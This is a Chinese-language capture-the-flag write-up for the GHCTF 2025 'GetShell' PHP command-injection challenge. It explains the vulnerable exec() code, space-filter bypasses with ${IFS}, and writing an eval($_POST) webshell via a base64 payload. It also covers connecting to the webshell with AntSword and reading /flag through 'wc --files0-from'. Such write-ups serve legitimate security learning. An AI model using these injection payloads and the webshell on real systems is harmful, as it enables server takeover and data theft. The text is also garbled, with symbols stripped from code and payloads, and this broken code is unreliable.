尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

【GHCTF】 2025GetShell

【GHCTF】 2025GetShell echo${IFS}?php eval($_POST[1]); ?${IFS}shell.phphttp://node1.anna.nssctf.cn:24965/?actionruninputecho${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg|base64${IFS}-d${IFS}%3Eshell.phphttp://node1.anna.nssctf.cn:24965/shell.php./wc --files0-from/flag这里用wc,原因作者故意留的后门有root源码逐帧讲解1. 配置加载类 (ConfigLoader)class ConfigLoader { private $config; public function __construct() { $this-config [ debug true, // ⚠️ 调试模式开启可能会泄露敏感信息 mode production, log_level info, max_input_length 100, // ⚠️ 输入长度限制为100字符 min_password_length 8, allowed_actions [run, debug, generate] // 允许的操作列表 ]; } public function get($key) { return key] ?? null; // 获取配置项 } }分析这个类主要存储应用配置。allowed_actions 定义了白名单意味着我们只能触发run、debug或generate这三个动作无法随意调用其他方法。max_input_length 是关键限制我们的 Payload 长度不能超过 100 字符。2. 日志记录类 (Logger)class Logger { private $logLevel; public function __construct($logLevel) { $this-logLevel $logLevel; } public function log($message, $level info) { // 只有当日志级别匹配时才打印日志 if ($level $this-logLevel) { echo [LOG] $message\n; } } }分析这是一个简单的日志工具。你看到的输出[LOG] Result: ...就是这个类打印的。它主要用于记录程序运行状态但也可能被攻击者利用来泄露调试信息。3. 用户管理类 (UserManager)class UserManager { // ... (省略属性定义) public function addUser($username, $password) { // 验证长度 if (strlen($username) 5) return Username must be at least 5 characters; if (strlen($password) 8) return Password must be at least 8 characters; // 使用 password_hash 安全地哈希密码 username] password_hash($password, PASSWORD_BCRYPT); $this-logger-log(User $username added); return User $username added; } public function authenticate($username, $password) { // 使用 password_verify 安全地验证密码 if (isset(username]) password_verify($password, $this-users[$username])) { $this-logger-log(User $username authenticated); return User $username authenticated; } return Authentication failed; } }分析这个类处理注册和登录。安全性较好 它使用了password_hash和password_verify这是 PHP 推荐的安全做法避免了明文存储密码。在本题中注册/登录功能并非主要攻击路径主要漏洞在于命令执行。4. 命令执行类 (CommandExecutor) -核心漏洞所在class CommandExecutor { private $logger; public function __construct($logger) { $this-logger $logger; } public function execute($input) { // ⚠️ 漏洞点1只检查是否存在空格 if (strpos($input, ) ! false) { $this-logger-log(Invalid input: space detected); die(No spaces allowed); } // ⚠️ 漏洞点2直接将用户输入传递给 exec 函数 // 这里的 符号用于抑制错误信息 exec($input, $output); $this-logger-log(Result: $input); return implode(\n, $output); } }分析致命漏洞exec($input, $output)允许执行系统命令。过滤绕过 代码只检查了空格。攻击者可以使用、IFS、%09(Tab) 等方式代替空格从而绕过检测并执行任意命令。例如cat${IFS}/flag会被解析为cat /flag。5. 输入验证类 (InputValidator)class InputValidator { private $maxLength; public function __construct($maxLength) { $this-maxLength $maxLength; } public function validate($input) { // 检查输入长度是否超过限制 if (strlen($input) $this-maxLength) { return Input exceeds maximum length of {$this-maxLength} characters; } return true; } }分析这是一个辅助类用于限制输入长度100字符。这要求我们的攻击 Payload 必须简短。6. 动作处理器 (ActionHandler)class ActionHandler { // ... (省略构造函数) public function handle($action, $input) { // 白名单检查 if (!in_array($action, $this-config-get(allowed_actions))) { return Invalid action; } if ($action run) { // 实例化验证器并检查长度 this-config-get(max_input_length)); $validationResult $validator-validate($input); if ($validationResult ! true) { return $validationResult; } // 调用 CommandExecutor 执行命令 return input); } elseif ($action debug) { return Debug mode enabled; } elseif ($action generate) { return Random string: . StringUtils::generateRandomString(15); } return Unknown action; } }分析这是分发逻辑。当actionrun时它会调用CommandExecutor。它是连接用户输入和漏洞函数的桥梁。7. 主逻辑流程if (isset($_REQUEST[action])) { // 实例化配置和日志 $config new ConfigLoader(); config-get(log_level)); // 实例化处理器 config, $logger); // 获取用户输入 $input $_REQUEST[input] ?? ; // 处理并输出结果 echo _REQUEST[action], $input); } // ... (else 分支处理注册登录此处略)分析程序入口。它接收action和input参数。如果我们发送?actionruninputls它就会执行ls命令。用蚁剑连接第一步确定 Web 根目录蚁剑需要连接一个.php文件这个文件必须放在网站可访问的目录下。之前的ls /结果显示根目录下有var通常 Web 目录在/var/www/html。先尝试列出该目录确认Payloadls${IFS}/var/www/htmlhttp://node1.anna.nssctf.cn:24965/?actionruninputls${IFS}/var/www/html第二步写入 WebShellWebShell 代码?php eval($_POST[cmd]); ?写入命令Linux Shellecho ?php eval($_POST[cmd]); ? shell.php转换为 Payload绕过空格和特殊字符空格替换为${IFS}。 是输出重定向符号保持不变。双引号在 URL 中不需要特殊处理除非在 shell 中冲突但为了稳妥或者如果有 WAF 拦截引号可以使用 Base64 编码的方式见下文。直接写入 Payloadecho_POST[1]); ?${IFS}shell.php更稳妥的 Base64 写入echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg | base64 -d shell.phpecho{IFS}-d${IFS}shell.php第三步验证文件否写入成功执行写入命令后执行ls看看shell.php是否出现了。Payload:ls${IFS}-la最后一步用蚁剑连接打开蚁剑。右键点击空白处 -添加数据。填写连接信息URL 地址:http://node1.anna.nssctf.cn:24965/shell.php(注意路径如果你是在根目录写的就加/shell.php如果在 html 目录可能是/shell.php或/html/shell.php)连接密码:1(对应我们 Payload 里的$_POST[1])编码器 默认即可例如base64
返回列表